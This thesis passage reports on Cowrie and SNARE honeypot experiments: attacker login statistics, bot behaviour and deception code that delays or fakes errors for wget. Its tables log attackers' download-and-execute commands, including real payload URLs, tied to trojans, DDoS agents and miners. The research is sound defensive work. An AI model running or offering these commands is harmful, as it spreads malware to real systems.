excluding the first day was on February 22, 2018, with 695 probes.  
Figure 8. Phase 1 Cowrie—Most probes per day. 
According to geolocation by MaxMind (Figure 9 generated by Kippo-Graph), 
more than 90% of the attackers came from Russia. IP addresses A, B, C, and D made up 
20% respectively, and IP address E made up the remaining 10%. We checked the IP 
addresses A to D in AbuseIPDB [31] and found that IP addresses A, B, and D have been 
reported at least 15 times, and IP addresses C and E have been reported 5 and 16 times, 
respectively. 
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Figure 9. Phase 1 Cowrie—Top 10 number of connections per unique IP. 
 
 
b. Types of Login Activity 
A common activity on the honeypot was a brute-force password attack. The two 
most common usernames were “root” and “admin,” This is not surprising since both 
usernames are likely to provide administrator privileges on real systems. Even when 
attackers gained access to either of these two accounts, they would still attempt to gain 
access to the other account. Figure 10 generated by Kippo-Graph shows one example of 2 
sets of brute-force attacks on a single host (highlighted in yellow and red). Most brute-














In a few instances, these clients attempted another brute-force attack and tried the 
password used previously among others (Figure 11). This suggests that they do not store 
the previously used passwords.  
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Figure 11. Example of cyclical brute force attack on the “root” account. 
 
 
We also observed traffic that connected to the honeypot at periodic intervals. 
From one IP address, connections were established every five minutes and contributed to 
15% of the total traffic (Figure 12).  





Cowrie can control login access using two different methods: (1) blacklists and 
whitelists, and (2) allowing random username-password combinations. A blacklist gives 
the username-password combinations that are denied access to the honeypot, while a 
whitelist gives username-password combinations that can access the honeypot. We found 
this method useful as the whitelist allows us to define specific usernames that we allow, 
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while the blacklist enables us to define specific passwords that we want to deny for a 
specific username. 
When authenticating using blacklists and whitelists, the honeypot uses the 
userdb.txt file in the /cowrie/data folder. Table 6 shows example content of the file. 
Blacklisted username-password combinations must appear before the wildcard entry for 
that username. 
Table 6. Blacklist and whitelist specifications in userdb.txt and their 
meaning. 
Entry in userdb.txt Username Password Whitelist Blacklist 
root:!root 
root 
root   
root:x:* Wildcard 
(any strings not in 
blacklist) 
  
richard:x:fout richard fout   
admin:x:* admin Wildcard 




When Cowrie is configured to accept a random username-password combination, 
a user must try a random selected number of unique username/password combinations 
between the user-defined “mintry” and “maxtry” counts before succeeding with a login. 
The successful login combination is stored with the IP address and becomes the only 
acceptable combination for that IP address. This prevents the honeypot from accepting 
other usernames from that IP address, and this probably hurts a little the believability of 
the honeypot if the user tries a different login name. An advantage of this approach is that 
it permits accepting unusual and unanticipated username-password combinations. Given 
that attackers tend to use uncommon username-password combinations, this may reveal 
uncommon attack tactics. 
In Phase 1, we ran the Cowrie honeypot using blacklist and whitelist 
authentication and observed that it allowed a single username to accept multiple 
passwords if the passwords belong to the whitelist for the username. Figure 13 shows that 
32 
multiple passwords for the “root” and “admin” usernames worked for a single IP address 
within less than an hour interval. This would be a clue that the system is a honeypot.  
Figure 13. Example of the Cowrie honeypot accepting multiple passwords for 
a username from a single IP address. 
 
 
We observed a 74% success rate out of 19,564 login attempts (Figure 14 
generated by Excel charts). Of the 14,406 successful logins, only 229 (1% of total logins) 
continued with further activities on the honeypot.  




d. Measures of User Activity 
As mentioned in Chapter III, we suspected that most traffic connecting to our 
honeypot originated from bots running identical scripts. We extracted the inputs from 
each session and compared their hash values. In 229 sessions, there were only 29 unique 
sets of inputs (12% of total sessions), confirming our hypothesis. Session durations were 
bimodal and predominantly between 2 and 38 seconds or between 185 and 232 seconds 
(Figure 15 generated Excel charts).  
Figure 15. Histogram of session duration in Phase 1. 
 
 
Session duration may be misleading because it could start with or end with a long 
wait for timeout either by the server or client. As such, we also computed the duration 
between the first and last user input to determine if there was a significant period of 
inactivity at the beginning or end of the session (Figures 16 and 17). We observed that 
the durations were spread over two intervals. On the lower end, the period of inactivity 
was about 30 seconds or less and represents user inactivity before the first input and file-
transfer duration. On the higher end, the inactivity period is greater than 180 seconds, 
which is the timeout period for our SSH server.  
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Figure 16. Histogram of interval between first and last input in Phase 1. 
 
 
Figure 17. Histogram of inactivity duration before first input and after last 
input in Phase 1. 
 
 
Analysis of the logs revealed that sessions that lasted between 2 and 38 seconds 
were non-interactive sessions, while sessions between 185 and 232 seconds were 
interactive sessions. All the non-interactive sessions terminated upon the completion of 
their last command, while all the interactive sessions waited for the session to time out. 
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The number of command inputs during a session was concentrated at two 
extremes (Figure 18). At the lower end, 47% of the sessions had less than five inputs. At 
the higher end, about 50% of the sessions had more than 37 inputs. By comparing the 
hashes of the input sequences, we found 40 sessions had the same 39 commands. In 
addition, there were 74 sessions with the same 41 commands.  
Figure 18. Histogram of Inputs per session in Phase 1. 
 
 
These two groups of sessions are likely popular scripts. In fact, the usage of these 
two sequences of input originated from the same IP address in Poland. This client logs in 
between 5 and 16 times daily, averaging eight times per day. The logins used the “root” 
and “admin” accounts and with different passwords for each account (Figure 19). The 
scripts run were largely similar with two additional commands inserted between the first 
and second command of the shorter sequence (See Table 7 for details). These sessions 





Table 7. Comparison of two similar sequences of input. 
Input 
number 
Shorter sequence Longer sequence Remarks 
1 /gweerwe323f /gweerwe323f  
2 /bin/busybox cp sudo /bin/sh Additions to the longer 
sequence 3  /bin/sh 
4  /bin/busybox cp  
Figure 19. Sample of logins from IP address originating from Poland. 
 
 
Of the 229 sessions with activities, 26 sessions transferred files using the wget 
command. Fifteen of the 27 files transferred were distinct.  The wget command is 
frequently used on systems and has a great variety of responses that can be presented to a 
client. Therefore, we decided to focus our deception techniques on this command.  
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B. PHASE 2—IMPLEMENTATION OF DECEPTION TECHNIQUES 
In Phase 2, we enhanced the honeypots with some deception techniques discussed 
in Chapter II and studied how cyber attackers reacted to them. Three specific deception 
techniques (defensive camouflage, delays, and false excuses) were implemented in the 
SSH honeypot in Phases 2A, 2B and 2C respectively. Phase 2D was subsequently added 
to correct an error in the implementation of Phases 2B and 2C. For the Web honeypot, we 
implemented the fake-files deception technique. 
1. Phase 2A: Fake Files for the Web Honeypot
This phase of the experiment used the fake-files deception technique, where 
interesting fake files are used as bait for attackers who exploit the honeypot looking for 
personal or corporate data. Using the ten most common paths that the attackers accessed 
in Phase 1, we generated fake files whose filenames are hashed using MD5 [35] and 
placed them into our Web honeypot. In addition to this, we generated a Web page called 
“members.htm” with fake personal details such as name, email address, and contact 
number. The code for the generators is detailed in Appendix D. 
a. Overall Activities
A total of 1,562 sessions was captured in Phase 2A from 384 distinct IP 
addresses. This was around a fourfold increase in the number of sessions and around a 
fivefold increase in the number of distinct IP addresses as compared to Phase 1. We 
noticed that SNARE was first accessed 39 minutes after deployment and last accessed 52 
minutes before the experiment was stopped. As compared to Phase 1, many more 
attackers accessed the Web honeypot, and they first accessed it earlier than before. This 
increase in traffic may be due to us submitting the SNARE website link to Google index 
before the start of this phase. The peak of the traffic was on May 21, 2018, when there 
were 169 probes that day. The minimum number of probes per day-besides the start day-
occurred on May 18, 2018, when there were 54 probes.   
As shown in Figure 20, 41% of the attackers came from a single IP address A in 
the United States. There were also many attackers from China, which provided six of the 
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top 10 addresses. IP address A was not the top IP address in Phase 1; it used the NMAP 
scripting engine and it belongs to our school. For the traffic from China, the six IP 
addresses were in AbuseIPDB, and all were reported to be associated with malicious 
activities. Not counting the sessions from the United States, Phase 2A was dominated by 
attackers from China, which made up 68% of the traffic. This is interesting as the traffic 
from China was just 7% in Phase 1. 
Figure 20. Phase 2A SNARE—Top 10 number of connections per unique IP. 
 
 
b. Top Ten Paths  
Most attackers in Phase 2A were accessing the default root directory of the Web 
server. They made up around 40% (638/1562) of the total number of sessions. For the 
remaining 60%, we observed an interesting change in the attackers’ action. In Phase 1, 
the top 10 paths were mainly setup.php files, but in Phase 2A the top 10 paths were 
index.php, and only 3% (49/1562) were setup.php pages. Attackers only accessed three 
setup.php files (/phpmyadmin/scripts/setup.php, pma/scripts/setup.php, and phpMy 
Admin/scripts/setup.php) that we created. Nonetheless, there was no further action after 
the attackers accessed them.   
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Figure 21. Phase 2A SNARE—Top 10 paths that the attackers requested. 
 
 
c. Fake Personal Details Page 
We used a personal-name list provided by Prof. Rowe of around 280,000 distinct 
names to generate 100 distinct first-last name pairs. We also generated fake email 
addresses and contact numbers for them. To make the email addresses look convincing, 
we randomized their email addresses to be from the domains of mail.com, yahoo.com, 
nps.edu, hotmail.com, gmail.com, and comcast.net. The fake personal details were put 
into a formatted table in the “members.htm” file on our Web honeypot. Yet, we never 
observed attackers accessing it. 
2. Phase 2A: Defensive Camouflage for the SSH Honeypot  
Phase 2A sought to improve the authentication mechanism of the SSH Honeypot 
to be more like an actual SSH server. We allowed each IP address to log in using multiple 
usernames, but each username could only have one acceptable password. This condition 
reduces the number of sessions established from the same host using different passwords 
for a single username and running identical scripts (Section 4D) which provide no 
additional insights on user activities. The following code segment (Figure 22) was added 
to the auth.py file to implement this improvement. 
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Figure 22. Code segment added to the auth.py. 
 
a. Overall Activities 
Phase 2A had 31,193 login attempts, a 37% increase from Phase 1. The number of 
distinct IP addresses recorded also increased by 9.4% to 639. The five highest numbers of 
probes continued to originate from Russia and were all login attempts carried out at five-
minute intervals. While the host addresses were different, the network addresses came 
from two of the same network addresses observed in Phase 1. Despite restricting 
passwords, the proportion of successful logins remained largely unchanged (Figure 23). 
There were, however, fewer sessions that proceeded with further activities after login.  
  
self.ipdb_file = src_ip         #set the filename to the ip of the client                             
 
    if path.isfile(self.ipdb_file):   #if file exist for the source ip 
            with open(self.ipdb_file, 'rb') as fp:  #open file 
                while True:    #infinite loop 
                    rawline = fp.readline()  #read line in file 
                    if not rawline:   #eof 
                        break    #break out of infinite lop 
                    line = rawline.strip()         #remove whitespaces at beginning and end #of rawline 
                    if not line:   #if line is empty 
                        continue 
 
                    if line.startswith(b'#'):  #if the line is a comment 
                        continue 
 
                    (login, uid, passwd) = line.split(b':', 2) #split line into the variables 
 
self.ipdb.append((login, passwd))       #append the username and password combination to the list 
 
            for (login, passwd) in self.ipdb:  #for each combination in the list 
                # Explicitly fail on !password 
                if login == thelogin and passwd != thepasswd: #if username is found and #password is 
blacklisted 
                    return False 
                if login == thelogin and passwd == thepasswd: #if username is found and #password is 
blacklisted 
                    return True 
    for (login, passwd) in self.userdb:  
#start of original code to check username and password combination against userdb.txt  
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Figure 23. Percentage of successful logins in Phase 2A. 
b. Measures of User Activity
Session durations in Phase 2A were concentrated between 32 and 41 seconds 
(Figure 24). Compared to Phase 1, there were significantly fewer short-duration sessions 
(Figure 25). This may suggest that the defensive camouflage is hiding the honeypot, 
resulting in attackers interacting longer with it. Three interactive SSH sessions originated 
from a different IP address and ran different inputs on the honeypot.  
Figure 24. Histogram of session durations for Phase 2A. 
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Figure 25. Histogram comparison of durations between first and last input 
between Phase 1 and Phase 2A. 
 
 
In Phase 2A, close to 83% of the sessions had only four commands (Figure 26). 
Only one session (0.6%) in Phase 2A entered more than 10 commands, compared to 
about 50% of the sessions in Phase 1. The two scripts that contributed a high number of 
commands were not found during this phase. They could have lost popularity, or 
attackers might have shifted to other types of attacks. 
Figure 26. Histogram comparison of number of commands between Phase 1 
and Phase 2A. 
 
 
The number of unique sets of input among established sessions dropped from 29 
in Phase 1 to 16 in Phase 2A. There was also a decline in the number of file transfers 
during this phase. Only seven of the sessions transferred files, of which five were unique. 
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3. Phase 2B: Delays for the wget Command on the SSH Honeypot
In this phase, modifications made to the honeypot in Phase 2A were maintained, 
and a delay deception was added to the wget command. For this experiment, we 
implemented a delay to the apparent progress of the wget command with a random value 
between 30 seconds and 90 seconds. In selecting the lower bound, we wanted a delay that 
was significant enough compared to the time required to transfer the file, while the upper 
bound needed to be lower than the inactivity timeout period of 180 seconds so that the 
SSH session would not terminate due to inactivity. To enable the transfer to take place in 
the background while making it seem like there was no progress to the file transfer, we 
hid the progress bar of the transfer and only begin to display it after the delay (Figure 27). 
As discussed in Chapter 2, this enables a scan of the file to decide if we should allow the 
client to run it. 
Figure 27. Code segment added to wget.py. 
a. Overall Activities
In Phase 2B, we maintained the list of permitted username-password 
combinations that were generated for each IP address in Phase 2A. There were 62,658 
login attempts, a 100% increase from Phase 2A. The number of distinct IP addresses also 
increased by 73.8% to 1,111. The proportion of successful logins increased by 16% 
compared to Phase 1, and the number of sessions that continued with further activities 
increased from 164 to 258 (Figure 28). 
  def pageEnd(self): 
##################################### 
#original code to save file to download folder 
##################################### 
minD = 30  #minimum delay 
maxD = 90 #maximum delay 
delay = random.randint(minD, maxD) #generate delay value 
  time.sleep(delay) 
######################################################### 
#original code to write download complete message to client’s terminal 
######################################################### 
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Figure 28. Percentage of successful login in Phase 2B. 
 
 
The top five IP addresses with the highest number of probes continued to 
originate from Russia and were all login attempts carried out at five-minute intervals. 
While the host addresses were different, the network addresses came from two of the 
same network addresses observed in Phase 1.  
b. Measures of User Activity 
The session durations for Phase 2B maintained the trend in Phase 2A of being 
concentrated at one interval. However, we noted that the spread of the duration over this 













Success with no further
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Success with further activities
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Figure 29. Histogram of session duration for Phase 2B. 
The number of commands also maintained the trend observed in Phase 2A where 
most of the sessions had only four commands (Figure 30). 
Figure 30. Histogram of number of commands for Phase 2B. 
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There were 12 wget file transfers in which five files were unique. The percentage 
of unique sets of input among the established sessions further declined to 5.4% compared 
to 9.76% in Phase 2A and 12% in Phase 1. As mentioned previously, we were most 
interested in investigating how our deception affected different users attempting to 
transfer files using the same script. We found one such instance during this phase where a 
file was transferred using the same script during four different sessions. The script is 
shown in Figure 31. 




All four sessions used identical scripts that timed out during the transfer attempt. 
The logs indicated that there was neither a progress bar nor a transfer-completed message 
transmitted to the client. The same script was executed by two different clients with each 
client running the script twice about one minute apart. Looking through the logs, we 
discovered that all the transfers timed out when connecting with the server. Based on the 
option ‘-c’ (continue to download a partially downloaded file) used for the wget 
command, we suspect that the file-source host may not have a stable connection. 
We also found five sets of similar input, each run 46 times, during this phase 
(Figure 32). They originated from the same IP address from Japan. This client first 
attempted to log in using the ‘root’ account but failed. It then logged in successfully using 
the “admin” and “ubnt” accounts (Figure 33) and proceeded to establish regular 
connections to our honeypot for about two days. The same IP address also ran another set 
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of two inputs twice (Figure 34). Based on Figures 33 and 35, we can see that the two 
inputs likely fingerprinted the version of our operating system. From the sequence of the 
sessions, we can observe that the general pattern of this client was to run the five scripts 
sequentially with the ‘admin’ username, followed by the same five scripts using the 
“ubnt” username in one cycle. The intervals between the sessions within a cycle are short 
compared to the interval to the next cycle (Figure 36). 
 
Figure 32. Five sets of similar inputs found in Phase 2B. 
 
 




Figure 34. Two inputs used to fingerprint the version of the operating system. 
 




Figure 36. Behavioral pattern of a client executing the five scripts. 
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4. Phase 2C: The False-Excuses Technique for the wget Command on 
the SSH Honeypot  
File transfers can also encounter errors. In Phase 2C, we replaced the delay 
deception implemented in Phase 2B with false excuses by implementing error messages 
for the wget command. We selected 10 HTTP error codes [36] that included both 
common and less-common responses (Table 8). To prevent attackers from being 
discouraged by constant false excuses, the deception would trigger with a 50% 
probability (See Figure 37). If deception was triggered, an excuse would be selected from 
Table 8 with equal probability. 
Figure 37. Code segment added to wget.py. 
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Table 8. HTTP codes use for false excuses. 
Code Description Remarks 
400 Bad Request  
401 Unauthorized  
403 Forbidden  
404 Not Found  
408 Request Timeout Implemented with a 120 second delay 
451 Unavailable For Legal Reasons  
500 Internal Server Error  
502 Bad Gateway  
503 Service Unavailable  
504 Gateway Timeout Implemented with a 120 second delay 
 
a. Overall Activities 
In Phase 2C, we used the list of permitted username-password combinations that 
were generated for each IP address in prior experiments. There were 54,564 login attempts, a 
13% decrease from Phase 2B. The number of distinct IP addresses increased slightly by 1.2% 
to 647. The number of sessions that had further interactions with the honeypot increased by 
about 10 times to 2,695 sessions (Figure 38). The top four IP addresses again were in Russia 
and were identical to the top four IP addresses in Phase 2B.  







28% Success with no further
activities
Success with further activities
Failure
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b. Measures of User Activity 
The session duration for Phase 2C maintained the trend observed in both Phase 
2A and Phase 2B where the durations were concentrated at one interval. The spread of 
the duration over this one interval, however, widened to a 40-second block between 23 
seconds and 62 seconds (Figure 39).  
Figure 39. Histogram of session durations for Phase 2C. 
 
 
The number of commands input during this phase also maintained the trend 
observed in Phase 2A and Phase 2B where most sessions had only four commands 
(Figure 40). This is because the same inputs in Figure 32 were again repeatedly sent to 
our honeypot. While the inputs originated from the same source IP address during Phase 
2B, they originated from three IP addresses in Japan, Brazil, and the United States during 





Figure 40. Histogram of number of commands for Phase 2C. 
 
 
There were 12 wget file transfers of which eight files were unique. The number of 
unique sets of input increased to 25. As in Phase 2B, we observed from the log that the 
sessions did not show the progress bar or the false excuses that we have implemented, as 
the file transfers all timed out before any data was transferred.  
Based on the identical IP addresses we saw in the wget commands and the client’s 
source IP address, we found that most clients had attempted to transfer the files from 
themselves to the honeypot. Therefore, we suspect that the client had knowledge of the 
real progress of the file transfer and terminated the session before receiving our 
deceptions. This caused our false excuses to not be transmitted to the client. We 
originally implemented the delay and false excuses after the file was successfully 
transferred in the background since we wanted to be able to analyze the content of the 
files. But because the transfer had timed out and no data was transferred at all, we were 
unable to determine the effectiveness of our deception techniques in Phases 2B and 2C.  
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5. Phase 2D: Modified Delay and False Excuses for the wget Command 
on the SSH Honeypot  
To correctly test the effects of our deception techniques, we amended our code in 
this phase to implement either the delay or false excuses before the file transfer 
commences. Each deception technique had a 50% probability of being used when a wget 
command was entered. When a delay was selected, it would be between 30 and 90 
seconds. If a false excuse was selected, one from Table 8 would be sent to the client. The 
modified code is shown in Figure 41. 
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Figure 41. Modified wget.py for Phase 2D. 
 
a. Overall Activities 
In this phase, we continued to use the list of permitted username-password 
combinations that were generated for each IP address in prior experiments. There were 
    def download(self, url, fakeoutfile, outputfile, *args, **kwargs):  #code inserted to down function instead of pageEnd 
        self.excuse = random.randint(0, 1)  #random number to determine whether to usedelay or false excuse 
 
        ######################################################## 
        #original code section to parse url and check if http or https download 
        ######################################################## 
 
 if self.excuse == 1:   #use false excuse 
     excusenum = random.randint(0, 9) #determine excuse to reply 
     if excusenum == 0: 
   self.errorWrite('400 Bad Request\n') 
                log.msg('False Excuse: 400 Bad Request\n') 
     if excusenum == 1: 
   self.errorWrite('401 Unauthorized\n')  #send excuse to client terminal 
  log.msg('False Excuse: 401 Unauthorized\n') #log excuse used 
     if excusenum == 2: 
   self.errorWrite('403 Forbidden\n') 
  log.msg('False Excuse: 403 Forbidden\n') 
     if excusenum == 3: 
   self.errorWrite('404 Not Found\n') 
  log.msg('False Excuse: 404 Not Found\n') 
     if excusenum == 4: 
  time.sleep(120)    
  self.errorWrite('408 Request Timeout\n') 
  log.msg('False Excuse: 408 Request Timeout\n') 
     if excusenum == 5: 
   self.errorWrite('451 Unavailable For Legal Reasons\n') 
  log.msg('False Excuse: 451 Unavailable For Legal Reasons\n') 
     if excusenum == 6: 
   self.errorWrite('500 Internal Server Error\n') 
  log.msg('False Excuse: 500 Internal Server Error\n') 
     if excusenum == 7: 
   self.errorWrite('502 Bad Gateway\n') 
  log.msg('False Excuse: 502 Bad Gateway\n') 
     if excusenum == 8: 
   self.errorWrite('503 Service Unavailable\n') 
  log.msg('False Excuse: 503 Service Unavailable\n') 
     if excusenum == 9: 
   time.sleep(120) 
  self.errorWrite('504 Gateway Timeout\n') 
  log.msg('False Excuse: 504 Gateway Timeout\n') 
     self.exit() 
 
        if self.excuse == 0:   #use delay 
            minD = 30    #minimum delay in seconds 
            maxD = 90    #maximum delayin seconds 
            delay = random.randint(minD, maxD) #generate delay value 
            time.sleep(delay)    
            log.msg('Delay: ' + str(delay) + '\n')  #log delay value used 
           
        factory = HTTPProgressDownloader(self, fakeoutfile, url, outputfile, *args, **kwargs)  #begin download 
 
################# 
#original code below 
################# 
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36,255 login attempts, a 33.56% decrease from Phase 2C. The number of distinct IP 
addresses increased slightly by 2% to 660. The number of sessions that had further 
interactions with the honeypot increased by about 95% to 125 sessions (Figure 42). The 
top nine IP addresses were from Russia and were among the top seven IP addresses in 
Phase 2C.  
Figure 42. Percentage of successful logins in Phase 2D. 
 
 
b. Measures of User Activity 
The session durations for Phase 2D appear to have shifted concentration from 
between 23 seconds and 62 seconds in Phase 2C to between 1 second and 41 seconds 

















Figure 43. Histogram of session durations for Phase 2D. 
 
 
The commands input during this phase continued to show a high number of four 
commands attributed to the inputs in Figure 32. Nevertheless, there was also a rise in the 
number of sessions with a single command, with 24.5% of them being wget commands.  




There were 25 wget file transfers, which were more than double those of Phase 
2C, and they comprised 15 unique files. The number of unique sets of inputs increased 
from 25 in Phase 2C to 30 in Phase 2D. Table 9 summarizes the file-transfer attempts and 
the deception techniques that were implemented for that transfer attempt. 
Table 9. Summary of wget file transfers and deception technique used for 
Phase 2D. 
No. Time Command 
Deception 
Technique 
1 26/8/2018 11:11 wget -c http://IP A:8080/xxx Delay :68s 
2 26/8/2018 11:06 wget -O /tmp/xxx http://IP A:8080/xxx Delay: 35s 
3 26/8/2018 10:48 wget -O /tmp/xxx http://IP A:8080/xxx Delay: 81s 
4 26/8/2018 10:41 wget -O /tmp/xin http://IP A:8080/xin Delay: 80s 
5 26/8/2018 9:09 wget http://IP B/rootankit.sh 
False Excuse: 500 
Internal Server Error 
6 25/8/2018 2:02 wget -O /root/tuan http://IP C:8080/tuan 
False Excuse: 401 
Unauthorized 
7 25/8/2018 2:01 wget -O /root/tuan http://IP C:8080/tuan Delay: 63s 
8 25/8/2018 1:33 wget -O /tmp/tuan http://IP C:8080/tuan Delay: 66s 
9 25/8/2018 1:33 wget -O /tmp/tuan http://IP C:8080/tuan 
False Excuse: 500 
Internal Server Error 
10 24/8/2018 1:53 wget -O /root/tuan http://IP D/tuan Delay: 66 
11 24/8/2018 1:52 wget -O /root/tuan http://IP D/tuan Delay: 42 
12 24/8/2018 0:04 wget -O /tmp/tuan http://IP D/tuan 
False Excuse: 451 
Unavailable For Legal 
Reasons 
13 24/8/2018 0:03 wget -O /tmp/tuan http://IP D/tuan Delay: 61 
14 23/8/2018 20:00 wget -O /tmp/tuan http://IP E:8080/tuan 
False Excuse: 503 
Service Unavailable  
15 23/8/2018 19:59 wget -O /tmp/tuan http://IP E:8080/tuan Delay: 55 
16 23/8/2018 19:56 wget -c http://IP E:8080/Ceo Delay: 54s 
17 23/8/2018 19:53 wget -c http://IP E:8080/tuan Delay: 54s 
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No. Time Command 
Deception 
Technique 
18 21/8/2018 5:19 
wget http://IP F/isu80 curl -O http://IP 
F/isu80 chmod +x isu80 ./isu80 
Cowrie unable to 
process command 
string 
19 20/8/2018 8:19 
wget http://IP F/ys53a curl -O http://IP 
F/ys53a chmod +x ys53a ./ys53a 
20 20/8/2018 5:23 
wget http://IP F/ys53a curl -O http://IP 
F/ys53a chmod +x ys53a ./ys53a 
21 20/8/2018 1:51 
wget http://IP F/ys53a curl -O http://IP 
F/ys53a chmod +x ys53a ./ys53a 
22 19/8/2018 9:06 
wget http://IP F/ys53a curl -O http://IP 
F/ys53a chmod +x ys53a ./ys53a 
23 19/8/2018 5:28 wget -c http://IP G:9960/chongfu.sh Delay: 58s 
24 19/8/2018 4:44 
wget http://IP H/i3306m curl -O http://IP 
H/i3306m chmod +x i3306m ./i3306m 
Cowrie unable to 
process command 
string 
25 19/8/2018 3:18 
wget http://IP H/i3306m curl -O http://IP 
H/i3306m chmod +x i3306m ./i3306m 
 
In this phase, we observed one file transfer identical to Figure 31 from Phase 2B. 
While in Phase 2B, the transfer timed out, and the delay was not successfully imposed on 
the client; we successfully made the client wait for 58 seconds before our honeypot 
allowed the file transfer to begin. This confirms our suspicion that a non-interactive 
session typically terminates after a set of commands completes. Thus, if we implement a 
delay prior to beginning the file transfer, the client will only exit the session after the 
transfer is completed or will be terminated when the transfer timed out. Even when 
attackers encountered delays or false excuses (Table 8, rows 8 and 9), they would 
continue to attempt to transfer files on the honeypot. This suggests that these bots do not 
have any real-time capability to sense the responses provided to them. Thus, when they 
encountered a false excuse when transferring files from themselves, they were unable to 
recognize that they were false and continued to try to transfer files. 
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C. COMPARISON OF DATA ACROSS PHASES 
1. Distinct IP Addresses that Accessed Cowrie throughout All Phases
 Twenty-four distinct IP addresses were recorded by Cowrie over the phases.
We grouped the IP addresses based on their consistent behaviors throughout
the phases, and there were five distinct groups. We found that all 24 attackers,
apart from performing probing and authentication, did no further actions like
executing commands in Cowrie. We concluded that these IP addresses are
probably scanners used for foot printing SSH servers. Details of different
groups’ attack patterns are given below.
 Group 1: There were 14 IP addresses in this group. All these attackers merely
probed our honeypot and did not attempt to perform any authentication. These
are most probably horizontal scanners checking if SSH port 22 is open.
 Group 2: There were two IP addresses (A from Hanoi, Vietnam and B from
the Naval Postgraduate School) in this group. As shown in Figure 45, attacker
A found the username “admin” and password “admin” combination after three
tries in Phase 1, whereas in Figure 46, attacker B found the username “root”
and password “root” on the first attempt. In the subsequent phases, both
attackers probed our honeypot and did not attempt any authentication. We also
saw attacker B accessing our SNARE website. We deemed that these two
attackers were checking whether our SSH server was still operational in the
subsequent phase.
Figure 45. Group 2 attacker A login activity in Phase 1. 
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Figure 46. Group 2 attacker B login activity in Phase 1. 
 
 
 Group 3: There was one IP address (C from Ireland) in this group. From 
Figure 47, the attacker found the username “admin” and password 
“admin” combination in the first try in Phase 1. In the subsequent phases, 
the attacker continued to use the same username and password 
combination to log into our honeypot every five minutes. 
Figure 47. Group 3 attacker B login activity in Phase 1. 
 
 
 Group 4: There were three IP addresses (D from Netherlands, E from 
Ukraine, and F from Latvia) in this group. In Phase 1, the attackers found 
the username “admin” and password “admin” combinations. Figure 48 
shows the login activity by attacker D. In the subsequent Phases 2A, 2B, 
2C, and 2D, all used the username “22” and password “master” in their 
authentications despite having a successful login in Phase 1. Figure 49 
shows login activity by attacker D in Phase 2A. Since they are from 
different locations and followed the same attack patterns throughout our 
phases, these are most likely bots that have been infected and controlled 
by the same command-and-control center. 
61 
Figure 48. Group 4 attacker D login activity in Phase 1. 
Figure 49. Group 4 attacker D login activity in Phase 2A. 
 Group 5: Four IP addresses (G from France, H from the United States, J
from Canada, and K from Russia) were in this group. In Phase 1, all the
attackers managed to find the username “root” and password “123456”
and/or username “admin” and password “admin” combinations. Figure 50
shows login activity by attacker G in Phase 1. In Phase 2A, all of them
started their attacks using another set of around 25 username and password
combinations as shown in Figure 51; they logged in with username
“admin” and password “password”. In Phase 2B, they used another set of
around 28 username and password combinations as shown in Figure 52;
they could not log in to Cowrie since they did not have the correct
username and password. In Phase 2C, they reused the username “admin”
and password “password” and could log in to Cowrie as shown in Figure
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53; two attackers repeated the username and password combination nine 
times, and the other two attackers repeated it ten times. In Phase 2D, they 
continued using the failed username and password combination in Phase 
2B and were unable to log in to Cowrie. Since they are from different 
locations and used the same attack patterns throughout, these are most 
likely bots controlled by the same bot command-and-control center. 
Figure 50. Group 5 attacker G login activity in Phase 1. 
 
 








Figure 52. Group 5 attacker H login activity in Phase 2B. 
 
 
Figure 53. Group 5 attacker H login activity in Phase 2C. 
 
 
2. Common Scripts Found in Different Phases 
The five scripts shown in Figure 31 were found in Phases 1, 2A, 2C, and 2D. 
Instead of using the wget command to transfer files onto the SSH server, these clients 
pipe the content of files from the client terminal to SSH sessions running the client’s 
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script. For example, when the command “echo “Hello World” | ssh root@localhost ‘cat > 
/tmp/test.txt’” is entered at the client terminal, only the command “cat > /tmp/test.txt” is 
visible to the SSH server. The test “Hello World,” however, would be sent through the 
SSH session into the file “test.txt.” We scanned the five files on the Virustotal Web site 
and found them to be a PNScan Trojan [37] used to infect devices based on ARM, MIPS, 
or PowerPC architectures. 
3. Unique wget File Transfer Attempts in Different Phases 
Twenty-six unique wget commands were executed on our SSH honeypot across 
the five phases (Table 9). We observed identical commands within each phase and also a 
similar command that was repeated across phases, with changes to the source IP address. 
There were only five successful transfers, and they occurred in Phases 1 and 2A only. 
The high number of failures were mainly due to Cowrie being unable to handle complex 
command strings such as “wget http://IP A/isu80 curl -O http://IP A/isu80 chmod +x 
isu80 ./isu80”. Such inputs are recognized by SSH servers as four commands, but Cowrie 
treats them as a single command and cannot understand it. We also found that about 58% 
of the wget commands tried to transfer the files from their source IP address. The wget 
commands that attempted to connect to other hosts mostly timed out, probably due to the 
host being offline. 
Table 10. Summary of wget transfer attempts. 
No. wget command Phase Successful Remarks 
1 wget http://IP address/isu80 curl -O 
http://IP address/isu80 chmod +x 
isu80 ./isu80 
1, 2C No 
Transfer 
from self 2 wget http://IP address/i3306m curl -O 
http://IP address/i3306m chmod +x 
i3306m ./i3306m 
1, 2A No 
3 wget -q http://IP 
address/drago/images/.ssh/y.txt 
1 Yes Perl script 
4 wget http://IP address/g3308l curl -O 






No. wget command Phase Successful Remarks 
5 wget http://IP address/g3308l curl -O 
http://IP address/g3308l chmod +x 
g3308l ./g3308l 
1 No 
6 wget http://IP address/ys808e curl -O 
http://IP address/ys808e chmod +x 
ys808e ./ys808e 
1 No 
7 wget http://IP address:5620/lx63 1 Yes DDos 
Agent 
8 wget http://IP address:5620/netwrite 1 Yes BitCoin 
Miner 
9 wget http://IP address/ys53a curl -O 





10 wget http://IPaddress/a21jj curl -O http://IP 
address/a21jj chmod +x a21jj ./a21jj 
1,2C No 
11 wget http://IP address/ps23e curl -O 
http://IP address/ps23e chmod +x 
ps23e ./ps23e 
1 No 
12 wget http://IP address:223/2897 2A Yes DDoS-
XOR.A 
13 wget -O /tmp/103 http://IP 
address:222/103 
2A Yes Backdoor 
Trojan 
14 wget -c http://IP address:9960/chongfu.sh 2B, 
2D 
No Timeout 
15 wget -P/tmp http://IP 
address:8998/MysqlC.sh 
2B No Exit Code: 
1 




17 wget http://IP address:2483/linuxxzw 2B No Timeout 
18 wget http://IP address/ys808e curl -O 





19 wget http://IP address/mi3307 curl -O 
http://IP address/mi3307 chmod +x 
mi3307 ./mi3307 
2C No 
20 wget http://IP address/ps23e curl -O 
http://IP address/ps23e chmod +x 
ps23e ./ps23e 
2C No 
21 wget -q -O - http://dl.peanutman.ru/ptshell 2C No  
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No. wget command Phase Successful Remarks 
22 wget -O - -q 
http://www.bizqsoft.com/imgtemplate/onli
ne.php 
2C No  
